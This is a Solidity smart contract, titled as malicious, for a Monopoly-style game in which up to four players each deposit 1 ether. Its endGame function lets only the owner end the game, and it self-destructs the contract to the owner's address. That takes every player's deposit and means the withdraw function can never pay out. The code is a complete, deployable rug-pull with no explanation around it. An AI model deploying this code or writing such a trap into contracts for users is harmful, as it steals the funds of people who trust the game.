Malicious Monopoly smart contract

Monopoly.sol

pragma solidity ^0.5.6;

contract Monopoly {
    
    struct Player {
        uint balance;
        bool exists;
    }
    
    uint constant contribution = 1 ether;
    address payable public owner;

    mapping (string => address payable) properties;
    mapping (address => Player) players;
    uint8 gameState; //0 init, 1 started, 2 ended
    uint8 playerCount;
    
    constructor() public {
        owner = msg.sender;
        gameState = 0;
        playerCount = 0;
    }
    
    function addPlayer() public payable {
        require(gameState == 0);
        require(playerCount < 4);
        require(msg.value == contribution);
        require(!players[msg.sender].exists);
        
        Player storage player = players[msg.sender];
        player.balance = msg.value;
        player.exists = true;
        playerCount++;
    }
    
    function getBalance(address payable playerAddr) public view returns (uint) {
        Player memory player = players[playerAddr];
        
        require(player.exists);
        return player.balance;
    }
    
    function transfer(address payable to, uint amount) public {
        require(gameState == 1);
        Player storage sender = players[msg.sender];
        Player storage recipient = players[to];
        
        require(recipient.exists);
        require(sender.exists);
        require(sender.balance >= amount);
        
        sender.balance -= amount;
        recipient.balance += amount;
    }
    
    function buyProperty(string memory property, uint price) public {
        require(gameState == 1);
        address payable propertyOwner = properties[property];
        Player storage sender = players[msg.sender];
        
        require(propertyOwner != msg.sender);
        require(sender.exists);
        require(sender.balance >= price);

        sender.balance -= price;
        players[propertyOwner].balance += price;
        
        properties[property] = msg.sender;
    }
    
    function getPropertyOwner(string memory property) public view returns (address payable) {
        return properties[property];
    }
    
    function withdraw() public payable {
        require(msg.value == 0);
        require(gameState == 2);
        
        Player storage player = players[msg.sender];
        
        require(player.exists);
        
        player.exists = false;
        msg.sender.transfer(player.balance);
        player.balance = 0;
    }
    
    function startGame() public {
        require(msg.sender == owner);
        require(playerCount > 0);
        gameState = 1;
    }
    
    function endGame() public {
        require(gameState == 1);
        require(msg.sender == owner);
        
        gameState = 2;
        selfdestruct(owner);
    }
    
}